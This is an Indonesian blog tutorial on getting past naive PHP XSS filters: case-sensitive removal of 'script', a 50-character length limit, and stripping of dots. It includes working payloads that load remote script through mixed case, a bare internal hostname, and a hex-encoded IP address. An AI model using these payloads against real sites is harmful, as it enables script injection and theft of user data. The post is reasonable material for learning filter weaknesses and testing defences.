XSS Tanpa Titik (dot-less)

Kategori Tricks
XSS Tanpa Titik

XSS Tanpa Titik – Kali ini saya akan menjelaskan sedikit tentang filter yang biasa digunakan untuk menangani XSS. Namun, ada yang lebih unik, yaitu filter karakter dots (.) dan cara mem-bypass filter tersebut.

Sebelum melanjutkan, silahkan baca Disclaimer terlebih dahulu. Jika kamu setuju dengan pernyataan disana, silahkan melanjutkan membaca 😀

Beberapa Contoh Filter XSS

Pertama, kita memiliki target yang memfilter kata script. Namun, filter ini tidak dilakukan dengan cara case-insensitive, yang tentunya masih mudah untuk dibypass. Sebagai contoh:

$data = str_replace('script', '' , $data);

Dalam hal ini, dengan menggunakan ScRiPt, kita sudah mem-bypass filter tersebut.

Selanjutnya, ada batasan panjang karakter. Meskipun ini sudah dibahas di beberapa Cheatsheet XSS, tapi ini masih sesuatu yang harus diperhitungkan saat melakukan tes. Sebagai contoh:

$data = substr($data, 0, 50);

Yang terakhir tapi tidak kalah penting adalah filter untuk titik. Dalam hal ini, aplikasi mencegah muatan seperti abay.now.sh. Sebagai contoh:

$data = str_replace('.', '', $data);

Contoh Vulnerable Code

XSS Tanpa Titik

Berdasarkan serangan Short XSS biasa, payload kita akan terlihat seperti ini:

value="><script src=//abay.now.sh>

Pertama, kita perlu mengonversi tag script menjadi camel-case.

value="><ScRiPt src=//abay.now.sh>

Sampai disini kita sudah memenuhi persyaratan (filter) batas panjang karakter, jadi kita tidak perlu khawatir tentang filter itu.

Sayangnya kita belum mem-bypass filter terakhir.

Metode termudah adalah dengan menggunakan nama host di jaringan internal. Jika kamu memasang payload pada localhost dan mengaksesnya hanya menggunakan nama host, maka kamu bisa mengatasi filter ini.

value="><ScRiPt src=//localhost>

Script dari aplikasi web yang mengandung src kita arahkan ke localhost saya dengan payload yang sudah tertanam di dalamnya. Sehingga hasil akhirnya akan menjadi seperti ini:

<input type="text" value=""><ScRiPt src=//localhost>" maxlength="50">

XSS Tanpa Titik

Namun pada beberapa waktu pasti ada saat dimana kita tidak bisa mengendalikan nama host di jaringan internal. Dalam hal ini, saya harus melakukan beberapa tipu daya lagi.

Bagi kamu yang belum tahu, kamu dapat me-represent alamat IP dalam berbagai cara. Termasuk dot-desimal (standar), desimal, oktal, dan hex. Tiga yang terakhir tidak memerlukan titik sama sekali, itulah yang akan saya gunakan kali ini!

Tenang, tidak perlu mengonversi secara manual, kita bisa menggunakan IP Manipulator.

<!– IP 127.0.0.1 kalian ganti dengan IP tempat kalian menyimpan payload XSS –>

Sekarang, saya mempunyai alamat IP untuk 127.0.0.1 tanpa titik, jadi mari kita coba.

"><ScRiPt SRC=//0x7f000001>" maxlength="50">

Payload nya berjalan sempurna 😀

XSS Tanpa Titik

Penutup

Meskipun ini sedikit skenario yang dibuat-buat, filter seperti masih menjadi sesuatu yang bisa atau mungkin sering ditemukan di dunia nyata. Filter XSS tidak selalu sempurna, dan beberapa teknik menarik terkadang dapat memintasinya.

Kali ini kita bisa melewati filter kata script, pembatasan panjang karakter dan membuat payload XSS tanpa titik (dotless). Selain itu, payload tersebut di-host secara eksternal dan kita tetap bisa melakukan XSS dengan itu. Terima kasih sudah membaca tulisan saya 😀


Cheers, I am Abay and I make things for fun. Gudang Garam and Coffee i can't live without. I love turning exciting ideas into horrible code. And .. i'm a lil' boy currently living Indonesia.
abay@codelatte.org

Berikan Komentar